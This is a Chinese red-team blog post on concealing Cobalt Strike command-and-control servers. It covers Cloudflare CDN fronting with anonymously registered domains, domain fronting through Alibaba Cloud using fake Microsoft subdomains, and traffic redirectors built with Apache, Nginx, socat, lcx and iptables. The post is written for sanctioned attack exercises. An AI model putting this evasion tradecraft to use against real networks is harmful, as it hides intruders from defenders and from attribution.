“ 前言:最近也是HVV行动的进行,蓝队防守方针对流量高度紧张,那么我们红队选手阿布是怎么配置C2的呢”
01
1. CDN加速
CDN加速原理,网上也很多说cdn,大家也都懂CDN为什么可以作为安全措施之一,就是因为他可以隐藏我们的真实IP,为C2提供保护,以免被目标运维发现直接封掉IP。
那么为什么我把cdn加速放在第二点来说呢?
因为就目前为主,笔者已知的可用于域前置的厂商仅限于阿里云,作为国内的互联网大厂,它是需要我们实名的!作为普通人的笔者自然没有那么多身份证和对应的手机号去实名,所以退而求其次,选择:cloudflare,因为cloudflare有免费的cdn服务,且不需要实名。
整套加速方案就是:godaddy购买域名并购买信息隐藏(大概需要65元/年),然后把dnsserver指向cloudflare的,即把原本godaddy管理的域名托管在cloudflare,使用其提供的cdn服务。
优点:相对匿名。(全程不要实名或实名制度不严格)
缺点:使用上CDN之后,只能用443,80两个端口,其他端口不上线;cs不能使用进程注入、不能spawn、不能使用stager,只能用stageless。
所以这种常用来固守,由于这些限制,渗透效率也会小很多。
02
2.域前置(Domain Fronting)
该类技术在2017年就已经出现APT报告中,但是目前都还没有被国内的各路HW红队选手所熟知。APT29 Domain Fronting With TOR
域前置是一种隐藏真实的连接端点来规避互联网审查的技术。此技术的原理为在不同通信层使用不同的域名。在明文的DNS请求和TLS服务器名称指示(SNI)中使用无害的域名来初始化连接、公布给审查者,而实际要连接的被封锁域名仅在创建加密的HTTPS连接后发出,使其不以明文暴露给网络审查者。
2.1. SNI域前置
SNI,中文:服务器名称指示,是 TLS 的扩展,允许在相同的IP地址上提供多个安全(HTTPS)网站(或其他任何基于TLS的服务),而不需要所有这些站点使用相同的TLS证书。白话:用来解决一个服务器拥有多个域名的情况。
TLS,传输层安全性协议(英语:Transport Layer Security,缩写作TLS),跟其前身SSL一样,是为互联网通信提供安全及数据完整性保障。
当我们访问一个http网站的时候,机器会先进行dns解析得到IP,通过IP建立TCP连接,可是正常情况下服务器是如何知道你要访问服务器的哪个网站呢?此时就要在请求头中加入一个host字段,字段表明你要访问的是哪个网站?
比如你你想访问http://www.dark5.net,那么你在建立TCP链接之后,你就要发起http请求
GET / HTTP/1.1
Host: www.dark5.net
服务器接收到这个请求之后,转给中间件处理,中间件从配置文件中发现该字段对应的文件再发送给客户端(浏览器),那么大家就能看到正常的数据了。
而访问https网站的时候,建立TCP链接后第一步就是请求服务器的证书。而服务器在发送证书时,是不知道浏览器访问的是哪个域名的,所以不能根据不同域名发送不同的证书。因此就引入一个扩展叫SNI,SNI是为了解决一个服务器使用多个域名和证书的SSL/TLS扩展,做法就是在 Client Hello 中补上 Host 信息。
但是Host字段的内容不一定要跟我们本来访问的网址一致:
root@vultr:~# curl -v https://bing.com
* Rebuilt URL to: https://bing.com/
* Trying 204.79.197.200...
* TCP_NODELAY set
* Connected to bing.com (204.79.197.200) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/certs/ca-certificates.crt
CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=www.bing.com
* start date: Jan 19 02:10:20 2021 GMT
* expire date: Jul 19 02:10:20 2021 GMT
* subjectAltName: host "bing.com" matched cert's "bing.com"
* issuer: C=US; O=Microsoft Corporation; CN=Microsoft RSA TLS CA 02
* SSL certificate verify ok.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x55bcd2f6b5c0)
> GET / HTTP/2
> Host: bing.com
> User-Agent: curl/7.58.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
< HTTP/2 301
< cache-control: private
< content-length: 193
< content-type: text/html; charset=utf-8
< location: https://www.bing.com:443/?toWww=1&redig=BF1D7441B42440EEB72F1DB60FD52D97
< set-cookie: MUID=3D2B0567907767DF2DBD0A9491C766A4; domain=bing.com; expires=Fri, 01-Apr-2022 06:08:57 GMT; path=/; secure; SameSite=None
< set-cookie: MUIDB=3D2B0567907767DF2DBD0A9491C766A4; expires=Fri, 01-Apr-2022 06:08:57 GMT; path=/; HttpOnly
< set-cookie: _EDGE_S=F=1&SID=0EC8BF56705D6929269DB0A571ED6852; domain=bing.com; path=/; HttpOnly
< set-cookie: _EDGE_V=1; domain=bing.com; expires=Fri, 01-Apr-2022 06:08:57 GMT; path=/; HttpOnly
< strict-transport-security: max-age=31536000; includeSubDomains; preload
< x-msedge-ref: Ref A: 77C8A1E4ED6E4793AF804BF1761052ED Ref B: SJCEDGE0418 Ref C: 2021-03-07T06:08:57Z
< date: Sun, 07 Mar 2021 06:08:56 GMT
<
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://www.bing.com:443/?toWww=1&redig=BF1D7441B42440EEB72F1DB60FD52D97">here</a>.</h2>
</body></html>
* Connection #0 to host bing.com left intact
root@vultr:~# curl -v -H "host: google.com" https://bing.com
* Rebuilt URL to: https://bing.com/
* Trying 204.79.197.200...
* TCP_NODELAY set
* Connected to bing.com (204.79.197.200) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/certs/ca-certificates.crt
CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=www.bing.com
* start date: Jan 19 02:10:20 2021 GMT
* expire date: Jul 19 02:10:20 2021 GMT
* subjectAltName: host "bing.com" matched cert's "bing.com"
* issuer: C=US; O=Microsoft Corporation; CN=Microsoft RSA TLS CA 02
* SSL certificate verify ok.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x5633953bc5c0)
> GET / HTTP/2
> host: google.com
> User-Agent: curl/7.58.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
< HTTP/2 400
< x-msedge-ref: 0KG5EYAAAAABYIMDPN5jJR4UrZheAGW71U0pDRURHRTAyMjAARWRnZQ==
< date: Sun, 07 Mar 2021 06:09:44 GMT
<
* Connection #0 to host bing.com left intact
<h2>Our services aren't available right now</h2><p>We're working to restore all services as soon as possible. Please check back soon.</p>0KG5EYAAAAABYIMDPN5jJR4UrZheAGW71U0pDRURHRTAyMjAARWRnZQ==r
这个请求的返回值告诉我们:
-
我们请求的host为Google.com的网站是不存在的,这里的不存在是说在bing.com (204.79.197.200)的服务器内不存在google.com网站。
-
TLS协商跟http请求是分开的
-
在HTTP请求中发送主机头之前也没有涉及到Google.com
所以那么实际上,我们要做的就是把Host字段内的Google.com替换成恶意的域名dark5.net;把请求的bing.com替换成指向可以解析到dark.net所在服务器的域名,且该域名能被大部分网络设备及运维人员认可为安全域名,即渗透人员说的高信誉域名,这就是域前置的理论内容。
为何域前置又跟CDN扯上关系呢?
如果我们把host的字段直接指向我们的C2的话,那目标就会发现有一个链接与我们c2的IP进行通信,然后把我们的IP加入到黑名单,然后我们就掉线或者一开始就不上线了。
但是如果跟CDN配合起来,目标管理员就只能看到CDN的IP,那么这整个过程就不会发现有恶意资产出现在他们的网络里。
2.2 SNI域前置实操
实际操作跟理论又有些不一样了,因为该类隐藏C2的技术需要依靠到运营商,而运营商开放出来的功能会因为开发人员的想法而跟原本的理论不一样。
目前,已知可被用来进行SNI域前置的运营商是阿里云。
正常的流程是先有域名,再配置域名走CDN,但是由于阿里云的特性:当 CDN 配置中的源 IP 为阿里云自己厂商的服务器时,加速时会跳过对域名的检验,直接与配置中的域名绑定的源服务器IP进行通信。只要在申请 CDN 时随便填一个没有人绑定过的域名就行,而且这个域名我们可以填成任何高信誉的域名,例如 dark5net.microsoft.com、dark5.microsoft.com 等。
等待5-10分钟后,此时就可以验证一下啦!
curl 125.94.49.221 -H "fuck.microsoft.com
此时,你在阿里云上开的C2的webserver就能看到你的请求日志啦!
但是如何上线呢?有2种姿势:
-
cs4.0之后的listener下面的host处添加:fuck.microsoft.com
-
在c2profile内添加http的host
2.3 SNI域前置实操小结
通过阿里云来进行域前置的话,跟理论是有些许出入的,比如第一步没有了访问高信誉域名并解析到IP,而是直接跟CDN的IP建立TCP链接后就发送http请求包。
我们来看一则更加接近理论的文章,但是该方法已经失效:https://cloud.tencent.com/developer/article/1555449
而后国外的安全研究人员进行了变更:
https://www.blackhillsinfosec.com/using-cloudfront-to-relay-cobalt-strike-traffic/
3. ESNI域前置
TLS1.3引入了ESNI,就是Encrypted SNI,可以让 HTTPS 连接不再暴露 SNI 域名地址。SNI的client host还是会暴漏的,这样防火墙就能检查到你真实访问哪个网站,但是如果对SNI加密后,就不会暴漏,可是GWF不允许ESNI!因为要约束大家不访问某些“不安全”站点,懂了吧?各位就会因为这个限制而无法使用一些国外大佬的思路。
在DefCON28大会上,有一项议题是: Domain Fronting is Dead,Long Live Domain Fronting:Using TLS 1.3 to Evade Censors,Bypass Network Defenses,and Blend in With the Noise,
视频地址是:
-
https://github.com/SixGenInc/Noctilucent
-
https://github.com/Ridter/DomainHiding
-
https://www.youtube.com/watch?v=TDg092qe50g&t=646s
4. 服务器的重定向器
4.1 Apache .htaccess转发
利用一款外国佬写好的.htaccess规则自动生成器配合apache2的web服务来达到转发功效。
小阿布是直接使用Kali2020.2a中的Apache2,安装以下模块:
sudo a2enmod rewrite headers proxy proxy_http ssl cache
sudo a2dismod -f deflate
sudo a2ensite default-ssl
sudo a2dissite 000-default
sudo service apache2 reload
然后编辑文件:/etc/apache2/apache2.conf,
sudo vim /etc/apache2/apache2.conf
/var/www/>改成<Directory /var/www/html>
None 改成 AllowOverride All
/var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
然后在此添加以下内容:
LogLevel alert rewrite:trace5
以下内容也可以不添加,如果不添加,那么apache在监听443端口得到的数据,将不能正常转到Teamserver,即https的payload不能通过apache的443端口上线,却可以通过80上线。
#SSLEngine On # 规则生成器的文章是要启动这个的,但是kali下启动不来
# Enable SSL Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by CobaltStrike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire of
重启Apache:sudo service apache2 restart
然后下载规则生成器生成等操作:
git clone https://github.com/threatexpress/cs2modrewrite
cd cs2modrewrite
python3 cs2modrewrite.py -i default.profile -c http://149.64.5.2:8080 -r https://www.baidu.com > ./.htaccess
sudo mv ./.htaccess /var/www/html/
-i 表示所使用的c2 Profile配置文件
-c 根据监听器配置设置
-r 表示非法访问重定向url,即跟profile里面设置的uri不一样的话,就会重定向
HTTPs
如果Apache.conf还配置了一下代码,那么就可以通过https上线。
#SSLEngine On # 规则生成器的文章是要启动这个的,但是kali下启动不来
# Enable SSL Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by CobaltStrike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off
如果不配置的话,我们使用下方Listenser生成的payload,也会通过上方的List
的配置的方式上线的
git clone https://github.com/threatexpress/cs2modrewrite
cd cs2modrewrite
python3 cs2modrewrite.py -i default.profile -c https://149.64.5.2:8080 -r https://www.baidu.com > ./.htaccess #注意,这里-c是用了https的
sudo mv ./.htaccess /var/www/html/
此时上线的IP是Apache的IP,如果要显示目标的IP,我们的c2 profile要设置:
http-config {
set trust_x_forwarded_for "true";
}
下面的Ngin同理。
4.2 Nginx
ngingx的设置相对简单,但是!笔者在kali2020 2a上面测试443是失败的。
环境依然使用上面的网络图中的环境,只是因为改变了解析器,所以我要使用一个域名kali.com,该域名指向192.168.1.21,大家伙可以直接修改hosts文件达到该效果:
192.168.1.21 kali.com
apt-get install nginx nginx-extras
git clone https://github.com/threatexpress/cs2modrewrite
cd cs2modrewrite
python3 ./cs2nginx.py -i default.profile -c http://149.64.5.2:8080 -r https://www.baidu.com -H kali.com >/etc/nginx/nginx.conf
-i 表示所使用的c2配置文件
-c 根据监听器配置设置
-r 表示非法访问重定向url
-H 指向代理主机的域名
笔者测试443端口失败。
4.3 socat
这种转发工具就非常直接了!
socat TCP4-LISTEN:80,fork TCP4:149.64.5.2:80
关于socat的常用选项:
-lh 将主机名添加到日志消息
-v 详细数据流量,文本
-x 详细数据流量,十六进制
-d 增加详细程度(最多使用4次;建议使用2次)
-lf <logfile>记录到文件
问题点:如果中专机器使用了某端口,却没有监听,socat也不会重新监听转发。
kali@kali:~/cs2modrewrite$ sudo socat -d -d TCP4-LISTEN:8089,fork TCP4:149.64.5.2:8089
2021/03/15 03:43:15 socat[190879] E bind(5, {AF=2 0.0.0.0:8089}, 16): Address already in use
2021/03/15 03:43:15 socat[190879] N exit(1)
kali@kali:~/cs2modrewrite$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.21:8089 192.168.1.23:58978 TIME_WAIT
tcp 0 0 192.168.1.21:22 192.168.1.23:53747 ESTABLISHED
tcp 0 48 192.168.1.21:22 192.168.1.23:53640 ESTABLISHED
tcp 0 0 192.168.1.21:22 192.168.1.23:53641 ESTABLISHED
tcp 0 0 192.168.1.21:8089 192.168.1.23:58969 TIME_WAIT
tcp 0 0 192.168.1.21:22 192.168.1.23:53746 ESTABLISHED
tcp 0 0 192.168.1.21:8089 192.168.1.23:58966 TIME_WAIT
tcp 0 0 192.168.1.21:8089 192.168.1.23:58975 TIME_WAIT
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:6010 :::* LISTEN
tcp6 0 0 ::1:6011 :::* LISTEN
4.4 lcx
不好意思,小阿布对lcx情有独钟,且相对于socat,lcx可以断开重起。这样,我们可以写个脚本放到自启动,监控lcx的运行。
wget https://raw.githubusercontent.com/dark5net/Notes_pub/master/Linux_lcx/portmap.c
gcc portmap.c -o Lcx
chmod +x Lcx
./Lcx -m 1 -p1 8089 -h2 149.64.5.2 -p2 8089
kali@kali:~$ sudo socat -d -d TCP4-LISTEN:8089,fork TCP4:149.64.5.2:8089
2021/03/15 03:50:25 socat[193512] E bind(5, {AF=2 0.0.0.0:8089}, 16): Address already in use
2021/03/15 03:50:25 socat[193512] N exit(1)
kali@kali:~$ ./Lcx -m 1 -p1 8089 -h2 149.64.5.2 -p2 8089
waiting for response.........
accept a client from 192.168.1.23:59223
make a connection to 149.64.5.2:8089....ok
4.5 IPtables
很多系统自带的,舒服。
iptables -I INPUT -p tcp -m tcp --dport 转发机监听端口 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 转发机监听端口 -j DNAT --to-destination c2 ip:c2 port
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1
5. CDN与转发服务器的配合
那么文章结尾了,如果小伙伴们没看懂或者配置不明白的,请扫描下方神秘图片,进入传送门
本文始发于微信公众号(5号黯区):红队CobaltStrike必备配置手册二
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论